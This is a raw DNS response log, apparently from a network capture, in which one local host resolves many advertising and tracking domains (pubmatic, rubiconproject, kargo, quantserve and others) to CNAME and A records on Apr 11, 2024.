Apr 11, 2024 23:27:02.898571014 CEST	1.1.1.1	192.168.2.17	0x6aad	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		52.22.131.33	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.898571014 CEST	1.1.1.1	192.168.2.17	0x6aad	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		54.235.211.185	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.898571014 CEST	1.1.1.1	192.168.2.17	0x6aad	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		44.193.151.231	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.898571014 CEST	1.1.1.1	192.168.2.17	0x6aad	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		35.172.0.124	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.900063038 CEST	1.1.1.1	192.168.2.17	0x54c9	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.900063038 CEST	1.1.1.1	192.168.2.17	0x54c9	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.008717060 CEST	1.1.1.1	192.168.2.17	0x8932	No error (0)	simage4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.008717060 CEST	1.1.1.1	192.168.2.17	0x8932	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.009047031 CEST	1.1.1.1	192.168.2.17	0xf89	No error (0)	simage4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.009047031 CEST	1.1.1.1	192.168.2.17	0xf89	No error (0)	image4-v2.pubmnet.com	spug33000-fpb.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.009047031 CEST	1.1.1.1	192.168.2.17	0xf89	No error (0)	spug33000-fpb.pubmnet.com		104.36.113.111	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.032980919 CEST	1.1.1.1	192.168.2.17	0xc764	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.032980919 CEST	1.1.1.1	192.168.2.17	0xc764	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.033237934 CEST	1.1.1.1	192.168.2.17	0xdd2f	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.033237934 CEST	1.1.1.1	192.168.2.17	0xdd2f	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.033237934 CEST	1.1.1.1	192.168.2.17	0xdd2f	No error (0)	spug-vac.pubmnet.com		8.28.7.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.175832033 CEST	1.1.1.1	192.168.2.17	0xf6eb	No error (0)	invstatic101.creativecdn.com		34.96.70.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.271119118 CEST	1.1.1.1	192.168.2.17	0x6f87	No error (0)	pixel.tapad.com		34.111.113.62	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.311929941 CEST	1.1.1.1	192.168.2.17	0x544b	No error (0)	client-rapi-mediavine.recombee.com		5.9.235.249	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.311929941 CEST	1.1.1.1	192.168.2.17	0x544b	No error (0)	client-rapi-mediavine.recombee.com		188.40.16.146	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.311929941 CEST	1.1.1.1	192.168.2.17	0x544b	No error (0)	client-rapi-mediavine.recombee.com		148.251.217.242	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.311929941 CEST	1.1.1.1	192.168.2.17	0x544b	No error (0)	client-rapi-mediavine.recombee.com		5.9.235.246	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.311929941 CEST	1.1.1.1	192.168.2.17	0x544b	No error (0)	client-rapi-mediavine.recombee.com		5.9.235.247	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.311929941 CEST	1.1.1.1	192.168.2.17	0x544b	No error (0)	client-rapi-mediavine.recombee.com		46.4.4.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.361274958 CEST	1.1.1.1	192.168.2.17	0xfd77	No error (0)	oa.openxcdn.net		34.102.146.192	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.363773108 CEST	1.1.1.1	192.168.2.17	0xdbbe	No error (0)	crb.kargo.com		35.170.134.172	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.363773108 CEST	1.1.1.1	192.168.2.17	0xdbbe	No error (0)	crb.kargo.com		75.101.222.61	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.363773108 CEST	1.1.1.1	192.168.2.17	0xdbbe	No error (0)	crb.kargo.com		54.236.184.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.363773108 CEST	1.1.1.1	192.168.2.17	0xdbbe	No error (0)	crb.kargo.com		54.198.187.94	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.363773108 CEST	1.1.1.1	192.168.2.17	0xdbbe	No error (0)	crb.kargo.com		52.202.181.167	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.363773108 CEST	1.1.1.1	192.168.2.17	0xdbbe	No error (0)	crb.kargo.com		3.209.218.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.418163061 CEST	1.1.1.1	192.168.2.17	0xc258	No error (0)	s.amazon-adsystem.com		52.46.128.147	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.520956993 CEST	1.1.1.1	192.168.2.17	0xfce8	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.520956993 CEST	1.1.1.1	192.168.2.17	0xfce8	No error (0)	simage2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.520956993 CEST	1.1.1.1	192.168.2.17	0xfce8	No error (0)	pug-vac.pubmnet.com		8.28.7.83	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.522041082 CEST	1.1.1.1	192.168.2.17	0x29d4	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.522041082 CEST	1.1.1.1	192.168.2.17	0x29d4	No error (0)	simage2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.553905964 CEST	1.1.1.1	192.168.2.17	0x1b0d	No error (0)	pippio.com		107.178.254.65	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.599210978 CEST	1.1.1.1	192.168.2.17	0xd48f	No error (0)	sync1.intentiq.com		108.139.47.105	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.599210978 CEST	1.1.1.1	192.168.2.17	0xd48f	No error (0)	sync1.intentiq.com		108.139.47.49	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.599210978 CEST	1.1.1.1	192.168.2.17	0xd48f	No error (0)	sync1.intentiq.com		108.139.47.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.599210978 CEST	1.1.1.1	192.168.2.17	0xd48f	No error (0)	sync1.intentiq.com		108.139.47.46	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.618349075 CEST	1.1.1.1	192.168.2.17	0x6dd8	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.618686914 CEST	1.1.1.1	192.168.2.17	0x3291	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.623524904 CEST	1.1.1.1	192.168.2.17	0x2f24	No error (0)	pixel-us-west.rubiconproject.com	pixel-us-west.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.624572039 CEST	1.1.1.1	192.168.2.17	0x1f7e	No error (0)	pixel-us-west.rubiconproject.com	pixel-us-west.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.633219957 CEST	1.1.1.1	192.168.2.17	0xc323	No error (0)	events-ssc.33across.com		34.117.239.71	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.713608027 CEST	1.1.1.1	192.168.2.17	0xd24e	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.714318991 CEST	1.1.1.1	192.168.2.17	0x1fcf	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.829731941 CEST	1.1.1.1	192.168.2.17	0x14f0	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.829731941 CEST	1.1.1.1	192.168.2.17	0x14f0	No error (0)	cdn.w55c.net		54.205.30.208	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.829731941 CEST	1.1.1.1	192.168.2.17	0x14f0	No error (0)	cdn.w55c.net		52.73.176.61	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.829731941 CEST	1.1.1.1	192.168.2.17	0x14f0	No error (0)	cdn.w55c.net		52.23.87.57	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.829731941 CEST	1.1.1.1	192.168.2.17	0x14f0	No error (0)	cdn.w55c.net		52.55.128.19	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.829731941 CEST	1.1.1.1	192.168.2.17	0x14f0	No error (0)	cdn.w55c.net		54.161.140.62	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.829731941 CEST	1.1.1.1	192.168.2.17	0x14f0	No error (0)	cdn.w55c.net		54.204.19.206	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.829731941 CEST	1.1.1.1	192.168.2.17	0x14f0	No error (0)	cdn.w55c.net		52.73.164.63	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.829731941 CEST	1.1.1.1	192.168.2.17	0x14f0	No error (0)	cdn.w55c.net		54.161.164.225	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.830354929 CEST	1.1.1.1	192.168.2.17	0x2eee	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.865899086 CEST	1.1.1.1	192.168.2.17	0x85be	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.865899086 CEST	1.1.1.1	192.168.2.17	0x85be	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.865899086 CEST	1.1.1.1	192.168.2.17	0x85be	No error (0)	global.px.quantserve.com		192.184.68.215	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.865899086 CEST	1.1.1.1	192.168.2.17	0x85be	No error (0)	global.px.quantserve.com		192.184.68.254	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.865899086 CEST	1.1.1.1	192.168.2.17	0x85be	No error (0)	global.px.quantserve.com		192.184.68.134	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.865899086 CEST	1.1.1.1	192.168.2.17	0x85be	No error (0)	global.px.quantserve.com		192.184.68.166	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.865899086 CEST	1.1.1.1	192.168.2.17	0x85be	No error (0)	global.px.quantserve.com		192.184.68.228	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.866092920 CEST	1.1.1.1	192.168.2.17	0x4a3	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.866092920 CEST	1.1.1.1	192.168.2.17	0x4a3	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.878458977 CEST	1.1.1.1	192.168.2.17	0xcbaf	No error (0)	sb.scorecardresearch.com		18.164.96.18	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.878458977 CEST	1.1.1.1	192.168.2.17	0xcbaf	No error (0)	sb.scorecardresearch.com		18.164.96.43	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.878458977 CEST	1.1.1.1	192.168.2.17	0xcbaf	No error (0)	sb.scorecardresearch.com		18.164.96.83	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.878458977 CEST	1.1.1.1	192.168.2.17	0xcbaf	No error (0)	sb.scorecardresearch.com		18.164.96.90	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.950809956 CEST	1.1.1.1	192.168.2.17	0x6006	No error (0)	t.adx.opera.com	outspot2-ams.adx.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.950809956 CEST	1.1.1.1	192.168.2.17	0x6006	No error (0)	outspot2-ams.adx.opera.com		82.145.213.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.950994968 CEST	1.1.1.1	192.168.2.17	0xd31a	No error (0)	t.adx.opera.com	outspot2-ams.adx.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.958239079 CEST	1.1.1.1	192.168.2.17	0x625b	No error (0)	pixel-eu.rubiconproject.com	pixel-eu.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.958899021 CEST	1.1.1.1	192.168.2.17	0x65c9	No error (0)	pixel-eu.rubiconproject.com	pixel-eu.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.959067106 CEST	1.1.1.1	192.168.2.17	0x9e65	No error (0)	sync.1rx.io		69.194.240.13	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.959841967 CEST	1.1.1.1	192.168.2.17	0xb15e	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.959841967 CEST	1.1.1.1	192.168.2.17	0xb15e	No error (0)	vap.lijit.com	nae.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.959841967 CEST	1.1.1.1	192.168.2.17	0xb15e	No error (0)	nae.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.959841967 CEST	1.1.1.1	192.168.2.17	0xb15e	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		35.174.179.73	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.959841967 CEST	1.1.1.1	192.168.2.17	0xb15e	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.206.185.83	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.959841967 CEST	1.1.1.1	192.168.2.17	0xb15e	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.20.213.72	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.959841967 CEST	1.1.1.1	192.168.2.17	0xb15e	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		54.204.132.28	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.959841967 CEST	1.1.1.1	192.168.2.17	0xb15e	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.236.66.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.959841967 CEST	1.1.1.1	192.168.2.17	0xb15e	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.198.232.242	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.959841967 CEST	1.1.1.1	192.168.2.17	0xb15e	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		3.222.213.40	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.959841967 CEST	1.1.1.1	192.168.2.17	0xb15e	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		18.210.143.255	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.960369110 CEST	1.1.1.1	192.168.2.17	0x70d9	No error (0)	openrtb-us-east-1.axonix.com	openrtb-dc11.axonix.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.960369110 CEST	1.1.1.1	192.168.2.17	0x70d9	No error (0)	openrtb-dc11.axonix.com		155.204.117.12	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.960369110 CEST	1.1.1.1	192.168.2.17	0x70d9	No error (0)	openrtb-dc11.axonix.com		155.204.117.11	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.960926056 CEST	1.1.1.1	192.168.2.17	0xf946	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.960926056 CEST	1.1.1.1	192.168.2.17	0xf946	No error (0)	vap.lijit.com	nae.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.960926056 CEST	1.1.1.1	192.168.2.17	0xf946	No error (0)	nae.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.961355925 CEST	1.1.1.1	192.168.2.17	0x61d0	No error (0)	pixel-sync.sitescout.com		34.36.216.150	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.991775990 CEST	1.1.1.1	192.168.2.17	0xd4ed	No error (0)	beacon.lynx.cognitivlabs.com	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.991796017 CEST	1.1.1.1	192.168.2.17	0x54fd	No error (0)	beacon.lynx.cognitivlabs.com	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.991796017 CEST	1.1.1.1	192.168.2.17	0x54fd	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		44.205.174.187	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.991796017 CEST	1.1.1.1	192.168.2.17	0x54fd	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		3.95.70.142	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.991796017 CEST	1.1.1.1	192.168.2.17	0x54fd	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		52.73.191.19	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.991796017 CEST	1.1.1.1	192.168.2.17	0x54fd	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		34.199.115.149	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.993534088 CEST	1.1.1.1	192.168.2.17	0x9168	No error (0)	thrtle.com		52.71.183.211	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.993534088 CEST	1.1.1.1	192.168.2.17	0x9168	No error (0)	thrtle.com		52.205.146.210	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.993534088 CEST	1.1.1.1	192.168.2.17	0x9168	No error (0)	thrtle.com		34.233.107.28	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.993534088 CEST	1.1.1.1	192.168.2.17	0x9168	No error (0)	thrtle.com		23.23.211.17	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.993534088 CEST	1.1.1.1	192.168.2.17	0x9168	No error (0)	thrtle.com		34.196.45.220	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.993534088 CEST	1.1.1.1	192.168.2.17	0x9168	No error (0)	thrtle.com		18.210.184.52	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.995070934 CEST	1.1.1.1	192.168.2.17	0x3f7d	No error (0)	crb.kargo.com		54.198.187.94	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.995070934 CEST	1.1.1.1	192.168.2.17	0x3f7d	No error (0)	crb.kargo.com		3.209.218.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.995070934 CEST	1.1.1.1	192.168.2.17	0x3f7d	No error (0)	crb.kargo.com		52.202.181.167	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.995070934 CEST	1.1.1.1	192.168.2.17	0x3f7d	No error (0)	crb.kargo.com		75.101.222.61	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.995070934 CEST	1.1.1.1	192.168.2.17	0x3f7d	No error (0)	crb.kargo.com		54.236.184.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.995070934 CEST	1.1.1.1	192.168.2.17	0x3f7d	No error (0)	crb.kargo.com		35.170.134.172	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.995213985 CEST	1.1.1.1	192.168.2.17	0xf9c3	No error (0)	openrtb-us-east-1.axonix.com	openrtb-dc11.axonix.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.996078968 CEST	1.1.1.1	192.168.2.17	0x7f25	No error (0)	sync.bfmio.com	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:03.996078968 CEST	1.1.1.1	192.168.2.17	0x7f25	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.7.152.165	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.996078968 CEST	1.1.1.1	192.168.2.17	0x7f25	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.45.185.248	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.996078968 CEST	1.1.1.1	192.168.2.17	0x7f25	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.54.14.52	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.996078968 CEST	1.1.1.1	192.168.2.17	0x7f25	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.3.95.188	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.996078968 CEST	1.1.1.1	192.168.2.17	0x7f25	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.70.6.22	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.996078968 CEST	1.1.1.1	192.168.2.17	0x7f25	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.6.4.32	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.996078968 CEST	1.1.1.1	192.168.2.17	0x7f25	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.54.1.65	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.996078968 CEST	1.1.1.1	192.168.2.17	0x7f25	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.70.27.27	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.996256113 CEST	1.1.1.1	192.168.2.17	0x12a4	No error (0)	sync.bfmio.com	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.055177927 CEST	1.1.1.1	192.168.2.17	0x31f3	No error (0)	pubmatic-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.055665970 CEST	1.1.1.1	192.168.2.17	0xd7d7	No error (0)	pubmatic-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.059482098 CEST	1.1.1.1	192.168.2.17	0x3e4a	No error (0)	pmp.mxptint.net		38.68.201.140	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.061687946 CEST	1.1.1.1	192.168.2.17	0x30d2	No error (0)	rtb.adentifi.com		18.206.144.25	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.061687946 CEST	1.1.1.1	192.168.2.17	0x30d2	No error (0)	rtb.adentifi.com		34.235.22.255	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.061687946 CEST	1.1.1.1	192.168.2.17	0x30d2	No error (0)	rtb.adentifi.com		44.206.22.2	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.061687946 CEST	1.1.1.1	192.168.2.17	0x30d2	No error (0)	rtb.adentifi.com		34.203.62.39	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.061687946 CEST	1.1.1.1	192.168.2.17	0x30d2	No error (0)	rtb.adentifi.com		44.196.252.15	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.061687946 CEST	1.1.1.1	192.168.2.17	0x30d2	No error (0)	rtb.adentifi.com		54.84.129.212	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.073040009 CEST	1.1.1.1	192.168.2.17	0x78e	No error (0)	openrtb-us-east-1.axonix.com	openrtb-dc11.axonix.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.085175037 CEST	1.1.1.1	192.168.2.17	0xb6ac	No error (0)	aax-eu.amazon-adsystem.com		52.94.220.185	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.304176092 CEST	1.1.1.1	192.168.2.17	0xf6d1	No error (0)	pghub.io		35.241.45.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.305938959 CEST	1.1.1.1	192.168.2.17	0x6dcc	No error (0)	esp.rtbhouse.com		35.190.39.111	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.305984020 CEST	1.1.1.1	192.168.2.17	0xf6c0	No error (0)	cdn.opecloud.com	dta23xhexutk5.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.305984020 CEST	1.1.1.1	192.168.2.17	0xf6c0	No error (0)	dta23xhexutk5.cloudfront.net		13.226.34.75	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.305984020 CEST	1.1.1.1	192.168.2.17	0xf6c0	No error (0)	dta23xhexutk5.cloudfront.net		13.226.34.25	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.305984020 CEST	1.1.1.1	192.168.2.17	0xf6c0	No error (0)	dta23xhexutk5.cloudfront.net		13.226.34.63	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.305984020 CEST	1.1.1.1	192.168.2.17	0xf6c0	No error (0)	dta23xhexutk5.cloudfront.net		13.226.34.126	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.307060003 CEST	1.1.1.1	192.168.2.17	0x7562	No error (0)	cdn.opecloud.com	dta23xhexutk5.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.308444977 CEST	1.1.1.1	192.168.2.17	0x536a	No error (0)	oajs.openx.net		34.120.135.53	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.308444977 CEST	1.1.1.1	192.168.2.17	0x536a	No error (0)	oajs.openx.net		34.120.107.143	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.436912060 CEST	1.1.1.1	192.168.2.17	0x804f	No error (0)	events-ssc.33across.com		34.117.239.71	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.494827986 CEST	1.1.1.1	192.168.2.17	0xc5e8	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.494827986 CEST	1.1.1.1	192.168.2.17	0xc5e8	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.495137930 CEST	1.1.1.1	192.168.2.17	0x7d4b	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.495137930 CEST	1.1.1.1	192.168.2.17	0x7d4b	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
